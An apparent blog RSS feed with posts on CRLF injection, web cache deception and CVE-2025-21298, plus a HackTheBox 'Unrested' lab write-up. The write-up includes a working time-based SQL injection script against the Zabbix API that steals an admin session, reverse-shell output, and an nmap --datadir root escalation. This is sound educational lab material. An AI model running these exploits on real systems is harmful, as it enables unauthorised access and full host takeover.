<p>CRLF injection is a powerful attack vector that can result in severe security vulnerabilities, such as email injection, HTTP response splitting, and reflected XSS attacks. Understanding the risks and applying appropriate mitigation strategies — such as input sanitization, secure coding practices, and proper validation — can significantly reduce the likelihood of CRLF injection attacks. By improving the security of your web applications, you can protect users and maintain the integrity of your system.</p>
<p><strong>References:</strong></p>
<ul>
<li><p><a target="_blank" href="https://owasp.org/www-community/vulnerabilities/CRLF_Injection">https://owasp.org/www-community/vulnerabilities/CRLF_Injection</a></p>
</li>
<li><p><a target="_blank" href="https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a">https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Web Cache Deception: Understanding and Mitigating Security Risks]]></title><description><![CDATA[Web caching is a technique used to store copies of web pages, images, and other resources to improve performance and reduce server load. When a user requests a cached resource, the cache serves the stored version instead of fetching it from the serve...]]></description><link>https://blog.amalpk.in/web-cache-deception</link><guid isPermaLink="true">https://blog.amalpk.in/web-cache-deception</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Wed, 29 Jan 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019443897/050fba9a-cd3f-473b-8b44-51e787abba10.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Web caching is a technique used to store copies of web pages, images, and other resources to improve performance and reduce server load. When a user requests a cached resource, the cache serves the stored version instead of fetching it from the server. Caching is implemented at various levels, including browsers, Content Delivery Networks (CDNs), and proxy servers.</p>
<p>A well-configured cache enhances website speed, reduces bandwidth consumption, and minimizes latency. However, misconfigurations can introduce security vulnerabilities, such as <strong>Web Cache Deception (WCD)</strong> and <strong>Cache Poisoning</strong>.</p>
<h3 id="heading-web-cache-deception-a-dangerous-attack">Web Cache Deception: A Dangerous Attack</h3>
<p>Web Cache Deception is a technique that attackers use to manipulate caching systems and mislead users or web applications into serving unintended content. This attack involves crafting malicious requests to exploit vulnerabilities in caching mechanisms, leading to the caching of sensitive data associated with other users through legitimate URLs.</p>
<p>Subsequent users who unknowingly request malicious URLs may be unknowingly served highly confidential and personal sensitive information, putting their privacy and security at significant risk.</p>
<h3 id="heading-how-web-cache-deception-works">How Web Cache Deception Works</h3>
<p>In this attack, a victim user visits a sensitive URL, such as:</p>
<p><code>[https://example.com/profile/settings](https://example.com/profile/settings)</code></p>
<p>The attacker then modifies the URL to append a static file extension, such as:</p>
<p><code>[https://example.com/profile/settings.css](https://example.com/profile/settings.css)</code></p>
<p>If the server does not validate the URL correctly and serves the dynamic content for the modified URL, the cache may store the response as <code>settings.css</code>. Now, anyone accessing the modified URL may view cached sensitive user data without authentication.</p>
<h3 id="heading-explanation-of-the-attack">Explanation of the Attack</h3>
<p>A successful Web Cache Deception attack relies on three key conditions:</p>
<ol>
<li><p><strong>Misconfigured Cache:</strong> The web cache should be configured to cache static files based on extensions without considering any caching headers provided by the server.</p>
</li>
<li><p><strong>Unvalidated Requests:</strong> When accessing a page like <code>http://www.example.com/home.php/non-existent.css</code>, the server must serve the content of <code>home.php</code>, despite the requested CSS file <code>non-existent.css</code> not existing.</p>
</li>
<li><p><strong>No Authentication for Static Files:</strong> The server must not require authentication for accessing public static files. As a result, the cached files become publicly accessible to all users, including unauthenticated ones.</p>
</li>
</ol>
<h3 id="heading-exploitation">Exploitation</h3>
<p>In this scenario, attackers can append non-existent static file extensions, such as <code>.css</code>, <code>.js</code>, or <code>.jpg</code>, to URLs that point to sensitive pages. This allows the cache to store dynamic content as if it were static content. When attackers share these crafted URLs with victims, they may end up revealing sensitive data, such as user profiles or account settings, through cached versions of the page.</p>
<p>This type of attack is a significant concern because cached static files are often served without any authentication, exposing sensitive data to unauthorized users.</p>
<h3 id="heading-cache-poisoning-vs-web-cache-deception">Cache Poisoning vs. Web Cache Deception</h3>
<p><strong>Cache Poisoning</strong> is another attack method that targets caching systems. It involves injecting malicious content into cached responses. While <strong>Web Cache Deception</strong> tricks the cache into storing sensitive information under publicly accessible URLs, <strong>Cache Poisoning</strong> manipulates the cached content itself to serve malicious payloads, which can lead to phishing, defacement, or code execution.</p>
<p>Both techniques exploit misconfigurations in caching mechanisms and can have serious security implications when left unchecked.</p>
<h3 id="heading-how-to-exploit-web-cache-deception">How to Exploit Web Cache Deception</h3>
<p>To exploit a Web Cache Deception vulnerability, attackers follow these steps:</p>
<ol>
<li><p><strong>Identify Sensitive Pages:</strong> Look for pages containing sensitive data, such as user profiles, payment details, or account dashboards.</p>
</li>
<li><p><strong>Modify the URL:</strong> Append static file extensions like <code>.css</code>, <code>.js</code>, or <code>.jpg</code> to the URL to trick the cache into storing the page content.</p>
</li>
<li><p>Example: <code>[https://example.com/user/account.css](https://example.com/user/account.css)</code></p>
</li>
<li><p><strong>Test the Response:</strong> If the web server returns sensitive data for the modified URL, it means the cache has stored dynamic content, which can now be accessed by anyone.</p>
</li>
<li><p><strong>Verify the Attack:</strong> Check the modified URL from another session or IP address to see if the same sensitive data is returned, confirming the attack’s success.</p>
</li>
<li><p><strong>Automate Exploitation:</strong> Attackers might automate the process to identify vulnerable endpoints across the site.</p>
</li>
</ol>
<h3 id="heading-a-diagram-of-the-web-cache-deception-attack">A Diagram of the Web Cache Deception Attack</h3>
<p>In this attack, malicious requests are crafted to exploit caching misconfigurations, which store dynamic content as static resources. A diagram can help visualize how this attack unfolds, showing how attackers trick the caching system into storing sensitive data and allowing unauthorized access to cached pages.</p>
<h3 id="heading-mitigating-web-cache-deception-and-cache-poisoning">Mitigating Web Cache Deception and Cache Poisoning</h3>
<h4 id="heading-mitigating-web-cache-deception">Mitigating Web Cache Deception</h4>
<p>To protect against <strong>Web Cache Deception</strong>:</p>
<ol>
<li><p><strong>Avoid Caching Sensitive Pages:</strong> Ensure that sensitive pages, like user profile settings or payment history, are not cached.</p>
</li>
<li><p><strong>Use Cache-Control Headers:</strong> Implement headers like <code>Cache-Control: no-store</code>, <code>Cache-Control: private</code> for sensitive data to prevent caching by intermediate proxies.</p>
</li>
<li><p><strong>Validate URL Requests:</strong> Ensure that requests with non-existent static file extensions return a 404 or 302 error, rather than serving dynamic content.</p>
</li>
<li><p><strong>Implement Authentication:</strong> Use authentication checks before serving cached responses to ensure only authorized users can access sensitive content.</p>
</li>
<li><p><strong>Vary Header Implementation:</strong> Use the <code>Vary</code> header to ensure responses are cached based on specific factors, such as <strong>cookies</strong> or <strong>authorization tokens</strong>:</p>
</li>
<li><p><code>Vary: Cookie, Authorization</code></p>
</li>
</ol>
<h4 id="heading-mitigating-cache-poisoning">Mitigating Cache Poisoning</h4>
<p>To mitigate <strong>Cache Poisoning</strong>:</p>
<ol>
<li><p><strong>Sanitize User Input:</strong> Always sanitize user input to prevent malicious content from being injected into cached responses.</p>
</li>
<li><p><strong>Enforce Strict Cache Policies:</strong> Ensure only static content is cached and apply strong validation for HTTP headers and query parameters.</p>
</li>
<li><p><strong>Use Cache-Control for Static Files:</strong> Use <code>Cache-Control: immutable</code> for static files to avoid accidental poisoning.</p>
</li>
<li><p><strong>Content Security Policy (CSP):</strong> Implement a CSP to restrict the execution of untrusted JavaScript and prevent malicious scripts from being executed on cached pages.</p>
</li>
</ol>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Web caching is essential for optimizing web performance, but when misconfigured, it can introduce significant security vulnerabilities like <strong>Web Cache Deception</strong> and <strong>Cache Poisoning</strong>. These attacks can expose sensitive data or inject malicious content into cached responses, leading to unauthorized access and security breaches.</p>
<p>By implementing strict cache-control policies, securing routing mechanisms, and ensuring proper validation of cached content, organizations can protect against these attacks. Regular cache monitoring and audits are also crucial to detect and mitigate risks promptly.</p>
<p>Organizations must prioritize cybersecurity assessments and penetration testing to safeguard their web caching systems and prevent Web Cache Deception and Cache Poisoning from compromising sensitive data.</p>
<blockquote>
<p>As a <strong>cybersecurity researcher</strong> or <strong>penetration tester</strong>, always assess <strong>web cache behavior</strong> when testing web applications. Ensuring that sensitive data remains private and cached content cannot be poisoned is key to maintaining a secure web environment.</p>
</blockquote>
<h4 id="heading-references">References:</h4>
<ol>
<li><p><a target="_blank" href="https://portswigger.net/web-security/web-cache-deception">Web cache deception | Web Security Academy</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/kb/issues/00200650_web-cache-deception">Web cache deception — PortSwigger</a></p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Unrested HTB Writeup]]></title><description><![CDATA[About Unrested
Unrested is a medium difficulty Linux machine hosting a version of Zabbix. Enumerating the version of Zabbix shows that it is vulnerable to both CVE-2024-36467 (missing access controls on the user.update function within the CUser class...]]></description><link>https://blog.amalpk.in/unrested-htb</link><guid isPermaLink="true">https://blog.amalpk.in/unrested-htb</guid><category><![CDATA[#HackTheBox]]></category><category><![CDATA[htb]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Tue, 28 Jan 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019465065/81ed6e9d-77fb-4536-8988-c6247ddc3248.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-about-unrested"><strong>About Unrested</strong></h3>
<p>Unrested is a medium difficulty <code>Linux</code> machine hosting a version of <code>Zabbix</code>. Enumerating the version of <code>Zabbix</code> shows that it is vulnerable to both <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2024-36467">CVE-2024-36467</a> (missing access controls on the <code>user.update</code> function within the <code>CUser</code> class) and <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2024-42327">CVE-2024-42327</a> (SQL injection in <code>user.get</code> function in <code>CUser</code> class) which is leveraged to gain user access on the target. Post-exploitation enumeration reveals that the system has a <code>sudo</code> misconfiguration allowing the <code>zabbix</code> user to execute <code>sudo /usr/bin/nmap</code>, an optional dependency in <code>Zabbix</code> servers that is leveraged to gain <code>root</code> access.</p>
<h3 id="heading-enumeration">Enumeration</h3>
<p>Start with a simple ping request to see if the target will response to it.</p>
<pre><code class="lang-bash">┌──(kratos㉿Hydra)-[~/Documents/HTB/TwoMillion]
└─$ ping <span class="hljs-variable">$ip</span> -c3
PING 10.10.11.50 (10.10.11.50) 56(84) bytes of data.
64 bytes from 10.10.11.50: icmp_seq=1 ttl=62 time=301 ms
64 bytes from 10.10.11.50: icmp_seq=2 ttl=62 time=312 ms
64 bytes from 10.10.11.50: icmp_seq=3 ttl=62 time=303 ms
--- 10.10.11.50 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 301.459/305.696/312.358/4.768 ms
</code></pre>
<p>The target does response. Next we should discover what ports are open and what services are running on them.</p>
<pre><code class="lang-bash">┌──(kratos㉿Hydra)-[~/Documents/HTB/TwoMillion]
└─$ nmap <span class="hljs-variable">$ip</span> -p-
&lt;snip&gt;
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn<span class="hljs-string">'t have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.60 seconds</span>
</code></pre>
<p>The scan reveals <code>SSH</code> and <code>Apache2</code> are open on their respective default ports. Ports <code>10050</code> and <code>10051</code> are associated with <code>Zabbix agents</code>. Visiting the target IP on port 10050 and 80 redirects us to a <code>Zabbix</code> login page</p>
<h3 id="heading-what-is-zabbix">What is Zabbix</h3>
<p>Zabbix is like a digital watchdog for computers and networks. Think of it as a tool that helps IT professionals make sure everything is running smoothly. It collects data and shows it in an easy-to-understand way, helping teams maintain and improve their IT systems.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019450317/c0c6de04-3ca8-4a22-b284-3362f59fe530.png" alt /></p>
<p>Zabbix Login Page</p>
<p>Using the provided credentials, we can authenticate as matthew and access the Zabbix dashboard. This account is in the default User role with no additional groups or privileges.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019451522/864aba3c-99fd-45f0-ba1a-aa28b806aa6b.png" alt /></p>
<p>Zabbix Dashboard</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019452870/d61c35bf-be33-4e99-b427-f57333c2711f.png" alt /></p>
<p>Zabbix Version</p>
<p>The Zabbix version can be seen as 7.0.0.</p>
<p>Searching the web gives us two vulnerabilities. <code>CVE-2024-36467</code> and <code>CVE-2024-42327</code>.</p>
<h3 id="heading-overview-of-cve-202436467">Overview of CVE-2024–36467</h3>
<p>CVE-2024–36467 is a security flaw in Zabbix, a software used for monitoring computer systems. This flaw allows someone who is already logged into the system and has access to the system’s API (a kind of digital toolkit) to change their group membership.</p>
<h4 id="heading-zabbix-api-abuse">Zabbix API Abuse</h4>
<p>Authenticated User with API Access: An authenticated user can interact with the system using the API, enabling actions that are restricted through the standard web interface.</p>
<p>User Role and Permissions: Zabbix roles come with specific access levels.</p>
<p>API Endpoint: <code>user.update</code> : The <code>user.update</code> endpoint lets a user modify their details, including group memberships.</p>
<h4 id="heading-privilege-escalation">Privilege Escalation:</h4>
<p>By adding themselves to high-privilege groups like “Zabbix Administrators,” the user can escalate their access, gaining control over sensitive system functions and compromising its security.</p>
<p>Let’s refer to the <a target="_blank" href="https://www.zabbix.com/documentation/current/en/manual/api">Zabbix website documentation</a> to gather more information.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019454096/ddc3ce0f-6892-4243-b64c-e1a3c32e5cfa.png" alt /></p>
<p>Lets check the <code>api_jsonrpc.php</code> in our target.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019455506/8d6f03c3-da6e-428a-b21c-b6ccdeec5b03.png" alt /></p>
<h4 id="heading-apijsonrpc-request-format"><code>api_jsonrpc</code> Request Format</h4>
<p>The request must have the <code>Content-Type header</code> set to one of these values: <code>application/json-rpc</code>, <code>application/json</code> or <code>application/jsonrequest</code>.</p>
<p>The request object contains the following properties:</p>
<ul>
<li><p><code>jsonrpc</code> - the version of the JSON-RPC protocol used by the API (Zabbix API implements JSON-RPC version 2.0);</p>
</li>
<li><p><code>method</code> - the API method being called;</p>
</li>
<li><p><code>params</code> - the parameters that will be passed to the API method;</p>
</li>
<li><p><code>id</code> - an arbitrary identifier of the request.</p>
</li>
</ul>
<p>To carry out the exploitation, we begin by authenticating the API with user credentials, which returns an API key as a response.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019457333/7d696869-f58e-4ec3-bd81-0e61b3e70bf6.png" alt /></p>
<p>Successfully got a API token. Before we try <code>user.update</code> to update our roles, let’s try to find our userid. Bruteforcing the userids also work but we can see every user id using user.get function. Using the <code>selectRole</code> or <code>SelectUsrgrps</code> as params returns the userlist and scrolling down, we can see <code>matthew</code> user as <code>userid:3</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019458896/7891fdfe-87ae-4122-81c2-0c7a51c55faa.png" alt /></p>
<p>From the json response we can also see that Administrator role is roleid:3 and matthew user has roleid:1 which is probably the default user id. Let’s try to set our roleid to Administrator. But we get the following error.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019460626/198b21d8-28ea-4407-8df0-0bf405367fa3.png" alt /></p>
<p>So it seems that we can’t change our role beacuse in CUser.php file, validateUpdate() and checkHimself() functions checks if its our own role or not. But we also see that in user.update, we can change our usrgroup which doesn’t have any validation placed.</p>
<p>We also need to find a valid “usrgrpid” to make us Administrator. Luckily, i have seen Zabbix Administrators id in the manual page as 7. This is crucial beacause it saves time from bruteforcing all the group ids.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019462120/59396ad9-3e2b-4c56-8617-2bcc41f6e382.png" alt /></p>
<p>Now that we have the group id, let’s add our user to <code>Zabbix Administrators</code> using <code>user.update</code>.</p>
<p>Note that without this privilege escalation, we can’t perform the SQL injection in the upcoming part.</p>
<h3 id="heading-overview-of-cve-202442327">Overview of CVE-2024–42327</h3>
<p>CVE-2024–42327 is a vulnerability where attacker can perform an SQL injection in user.get function in CUser.php class which can be used to leak database content.</p>
<p>Using the following request, we can see that request took 6,408 ms which means our SLEEP(5) payload resulted with time-based sql injection.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019463423/61fa5130-7f0d-44b8-adbb-f8e9e09eb48c.png" alt /></p>
<p>Lets do automated scan since it would take a long time to do it manually. Replace the sqli payload with <code>*</code> and copy the request to a file. Then dump the database using sqlmap.</p>
<p>available databases 2: \* information\_schema \* zabbix</p>
<p>From the output, we have successfully retrieved the database names by exploiting the based SQL injection.</p>
<p>From both methods, we can utilize misconfigured agents to gain remote code execution. To do this from the time-based SQL injection, we must leak the sessions table in the database to see if the Admin user has authenticated at all.</p>
<p>Unfortunately due to being a time-based attack, this can take a while, so I have included a quicker script(Its not created by me! Credit goes to the orginal owner) for further use.</p>
<pre><code class="lang-bash">import requests
import json
from datetime import datetime
import string
import random
import sys
from concurrent.futures import ThreadPoolExecutor

URL = <span class="hljs-string">"http://10.129.231.176/zabbix/api_jsonrpc.php"</span>
TRUE_TIME = 1
ROW = 0
USERNAME = <span class="hljs-string">"matthew"</span>
PASSWORD = <span class="hljs-string">"96qzn0h2e1k3"</span>

def authenticate():
payload = {
<span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
<span class="hljs-string">"method"</span>: <span class="hljs-string">"user.login"</span>,
<span class="hljs-string">"params"</span>: {
<span class="hljs-string">"username"</span>: USERNAME,
<span class="hljs-string">"password"</span>: PASSWORD
},
<span class="hljs-string">"id"</span>: 1
}
response = requests.post(URL, json=payload)
<span class="hljs-keyword">if</span> response.status_code == 200:
try:
response_json = response.json()
auth_token = response_json.get(<span class="hljs-string">"result"</span>)
<span class="hljs-keyword">if</span> auth_token:
<span class="hljs-built_in">print</span>(f<span class="hljs-string">"Login successful! Auth token: {auth_token}"</span>)
<span class="hljs-built_in">return</span> auth_token
<span class="hljs-keyword">else</span>:
<span class="hljs-built_in">print</span>(f<span class="hljs-string">"Login failed. Response: {response_json}"</span>)
except Exception as e:
<span class="hljs-built_in">print</span>(f<span class="hljs-string">"Error: {str(e)}"</span>)
<span class="hljs-keyword">else</span>:
<span class="hljs-built_in">print</span>(f<span class="hljs-string">"HTTP request failed with status code {response.status_code}"</span>)
<span class="hljs-built_in">return</span> None

def send_injection(auth_token, position, char):
payload = {
<span class="hljs-string">"jsonrpc"</span>: <span class="hljs-string">"2.0"</span>,
<span class="hljs-string">"method"</span>: <span class="hljs-string">"user.get"</span>,
<span class="hljs-string">"params"</span>: {
<span class="hljs-string">"output"</span>: [<span class="hljs-string">"userid"</span>, <span class="hljs-string">"username"</span>],
<span class="hljs-string">"selectRole"</span>: [
<span class="hljs-string">"roleid"</span>,
f<span class="hljs-string">"name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME} * "</span>
f<span class="hljs-string">"(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 "</span>
f<span class="hljs-string">"LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))))BEEF)"</span>
],
<span class="hljs-string">"editable"</span>: 1,
},
<span class="hljs-string">"auth"</span>: auth_token,
<span class="hljs-string">"id"</span>: 1
}
before_query = datetime.now().timestamp()
response = requests.post(URL, json=payload)
after_query = datetime.now().timestamp()
response_time = after_query - before_query
<span class="hljs-built_in">return</span> char, response_time

def test_characters_parallel(auth_token, position):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(send_injection, auth_token, position, char): char <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> string.printable}
<span class="hljs-keyword">for</span> future <span class="hljs-keyword">in</span> futures:
char, response_time = future.result()
<span class="hljs-keyword">if</span> TRUE_TIME - 0.5 &lt; response_time &lt; TRUE_TIME + 0.5:
<span class="hljs-built_in">return</span> char
<span class="hljs-built_in">return</span> None

def print_progress(extracted_value):
sys.stdout.write(f<span class="hljs-string">"\rExtracting admin session: {extracted_value}"</span>)
sys.stdout.flush()

def extract_admin_session_parallel(auth_token):
extracted_value = <span class="hljs-string">""</span>
max_length = 32
<span class="hljs-keyword">for</span> position <span class="hljs-keyword">in</span> range(1, max_length + 1):
char = test_characters_parallel(auth_token, position)
<span class="hljs-keyword">if</span> char:
extracted_value += char
print_progress(extracted_value)
<span class="hljs-keyword">else</span>:
<span class="hljs-built_in">print</span>(f<span class="hljs-string">"\n(-) No character found at position {position}, stopping."</span>)
<span class="hljs-built_in">break</span>
<span class="hljs-built_in">return</span> extracted_value

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
<span class="hljs-built_in">print</span>(<span class="hljs-string">"Authenticating..."</span>)
auth_token = authenticate()
<span class="hljs-keyword">if</span> auth_token:
<span class="hljs-built_in">print</span>(<span class="hljs-string">"Starting data extraction..."</span>)
admin_session = extract_admin_session_parallel(auth_token)
<span class="hljs-built_in">print</span>(f<span class="hljs-string">"\nAdmin session extracted: {admin_session}"</span>)
<span class="hljs-keyword">else</span>:
<span class="hljs-built_in">print</span>(<span class="hljs-string">"Authentication failed."</span>)
</code></pre>
<p>After running the script, we see we successfully obtained the admin session in just less than a minute.</p>
<p>Now that we have admin session, using our privileges we can get Remote Code Execution</p>
<p>Hosting a simple reverse shell on port 8000 and using the command below, returns a connection.</p>
<pre><code class="lang-bash"><span class="hljs-variable">$nc</span> -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.50] 40504
bash: cannot <span class="hljs-built_in">set</span> terminal process group (3689): Inappropriate ioctl <span class="hljs-keyword">for</span> device
bash: no job control <span class="hljs-keyword">in</span> this shell
zabbix@unrested:/$
</code></pre>
<p>We can get the user flag from <code>/home/matthew/user.txt</code></p>
<h3 id="heading-privilege-escalation-1">Privilege Escalation</h3>
<p>As zabbix user we check if we can execute any applications with sudo permissions.</p>
<pre><code class="lang-bash">zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries <span class="hljs-keyword">for</span> zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/<span class="hljs-built_in">local</span>/sbin\:/usr/<span class="hljs-built_in">local</span>/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
</code></pre>
<p>We see that we can run <code>/usr/bin/nmap</code> unrestricted. We attempt to use the GTFOBins.</p>
<pre><code class="lang-bash">zabbix@unrested:/$ TF=$(mktemp)
zabbix@unrested:/$ <span class="hljs-built_in">echo</span> <span class="hljs-string">'os.execute("/bin/sh")'</span> &gt; <span class="hljs-variable">$TF</span>
zabbix@unrested:/$ sudo nmap --script=<span class="hljs-variable">$TF</span>
Script mode is disabled <span class="hljs-keyword">for</span> security reasons.
zabbix@unrested:/$
</code></pre>
<p>Seems that this is just a nmap wrapper program. We try to read the source code of <code>/usr/bin/nmap</code></p>
<pre><code class="lang-bash">zabbix@unrested:/tmp$ cat /usr/bin/nmap
<span class="hljs-comment">#!/bin/bash</span>
<span class="hljs-comment">#################################</span>
<span class="hljs-comment">## Restrictive nmap for Zabbix ##</span>
<span class="hljs-comment">#################################</span>
<span class="hljs-comment"># List of restricted options and corresponding error messages</span>
<span class="hljs-built_in">declare</span> -A RESTRICTED_OPTIONS=(
[<span class="hljs-string">"--interactive"</span>]=<span class="hljs-string">"Interactive mode is disabled for security reasons."</span>
[<span class="hljs-string">"--script"</span>]=<span class="hljs-string">"Script mode is disabled for security reasons."</span>
[<span class="hljs-string">"-oG"</span>]=<span class="hljs-string">"Scan outputs in Greppable format are disabled for security reasons."</span>
[<span class="hljs-string">"-iL"</span>]=<span class="hljs-string">"File input mode is disabled for security reasons."</span>
)
<span class="hljs-comment"># Check if any restricted options are used</span>
<span class="hljs-keyword">for</span> option <span class="hljs-keyword">in</span> <span class="hljs-string">"<span class="hljs-variable">${!RESTRICTED_OPTIONS[@]}</span>"</span>; <span class="hljs-keyword">do</span>
<span class="hljs-keyword">if</span> [[ <span class="hljs-string">"$*"</span> == *<span class="hljs-string">"<span class="hljs-variable">$option</span>"</span>* ]]; <span class="hljs-keyword">then</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">${RESTRICTED_OPTIONS[$option]}</span>"</span>
<span class="hljs-built_in">exit</span> 1
<span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
<span class="hljs-comment"># Execute the original nmap binary with the provided arguments</span>
<span class="hljs-built_in">exec</span> /usr/bin/nmap.original <span class="hljs-string">"<span class="hljs-variable">$@</span>"</span>
zabbix@unrested:/tmp$
</code></pre>
<p>It seems that the maintainers of the server were aware of the known privilege escalations that can happen with nmap . All the GTFOBins escapes are useless in this scenario. Reading through the options we discover the <code>--datadir</code> option.</p>
<p><code>--datadir &lt;dirname&gt;</code>: Specify custom Nmap data file location</p>
<p>This option allows you to specify a data directory where default scripts and other are stored, the default in this case is <code>/usr/share/nmap</code>.</p>
<p>The <code>nse_main.lua</code> file is the default script file that can be triggered with <code>-sC</code> . To exploit this, we create a new file in <code>/tmp/nse_main.lua</code> with <code>os.execute("chmod 4755 /bin/bash")</code> . When we scan localhost with <code>-sC</code> enabled, we set effective UID of root user.</p>
<pre><code class="lang-bash">zabbix@unrested:/tmp$ <span class="hljs-built_in">echo</span> <span class="hljs-string">'os.execute("/bin/bash -p")'</span> &gt; nse_main.lua
zabbix@unrested:/tmp$ sudo /usr/bin/nmap -sC --datadir=/tmp
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-15 19:43 UTC
id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>
<p>Finally, we can read the flag in <code>/root/root.txt</code>.</p>
]]></content:encoded></item><item><title><![CDATA[CVE-2025–21298 Windows OLE Remote Code Execution Vulnerability]]></title><description><![CDATA[Overview
CVE-2025-21298 is a critical vulnerability in Windows Object Linking and Embedding (OLE) technology, which enables remote code execution (RCE) with a CVSS severity score of 9.8. OLE is a proprietary Microsoft technology that allows embedding...]]></description><link>https://blog.amalpk.in/cve-2025-21298</link><guid isPermaLink="true">https://blog.amalpk.in/cve-2025-21298</guid><category><![CDATA[Windows]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[zero_day_vulnerability]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Sun, 26 Jan 2025 18:30:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746019420643/82ed2790-7a90-4813-9ae9-81f90c6309ef.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-overview">Overview</h3>
<p><code>CVE-2025-21298</code> is a critical vulnerability in <a target="_blank" href="https://en.wikipedia.org/wiki/Object_Linking_and_Embedding">Windows Object Linking and Embedding (OLE) technology</a>, which enables remote code execution (RCE) with a CVSS severity score of 9.8. OLE is a proprietary Microsoft technology that allows embedding and linking documents and objects. This flaw affects a wide range of Windows systems, from Windows Server 2008 through 2025 and Windows 10/11, including both desktop and server installations.</p>
<h3 id="heading-vulnerability-details">Vulnerability Details</h3>
<p>Attackers can exploit this vulnerability through specially crafted <a target="_blank" href="https://en.wikipedia.org/wiki/Rich_Text_Format">Rich Text Format (RTF)</a> files or emails. The exploit involves embedding malicious payloads into RTF documents that can execute arbitrary code on a victim’s machine. This can occur when:</p>
<ul>
<li><p>A victim opens a malicious RTF file or email in Microsoft Outlook or another OLE-compatible application.</p>
</li>
<li><p>A victim merely previews the email in Outlook’s reading pane without opening it.</p>
</li>
</ul>
<p>Upon triggering the exploit, the malicious payload executes, allowing attackers to steal data, install malware, or gain unauthorized control of the victim’s system. The attack typically includes executing PowerShell commands in the background, which download and execute high-profile payloads.</p>
<p>According to Censys reports, at the time of writing, 400000+ exposed Exchange Servers and Outlook Web Access Portals were observed. A large proportion of these (25%) are geolocated in Germany.</p>
<h3 id="heading-exploitation-scenarios">Exploitation Scenarios</h3>
<p>This vulnerability is particularly dangerous for organizations due to its potential use in phishing campaigns. Attackers craft phishing emails to lure victims into interacting with the malicious attachments. The standalone Microsoft Outlook application or Microsoft Exchange Server itself is not directly vulnerable; however, these applications act as the delivery mechanisms for malicious RTF content.</p>
<h3 id="heading-poc">POC!</h3>
<p>A PoC exploit is publicly available on <a target="_blank" href="https://github.com/ynwarcs/CVE-2025-21298">GitHub</a>. This is a memory corruption PoC, not an exploit, but there is an rtf file in this repository that reproduces the vulnerability.</p>
<h3 id="heading-exploitability">Exploitability</h3>
<ul>
<li><p>Impact: Exploitation results in high confidentiality, integrity, and availability impacts.</p>
</li>
<li><p>Attack Complexity: Low, requiring no user privileges or interaction.</p>
</li>
<li><p>Public Exploits: A proof-of-concept (PoC) is available, which demonstrates the memory corruption flaw but does not provide a fully weaponized exploit.</p>
</li>
</ul>
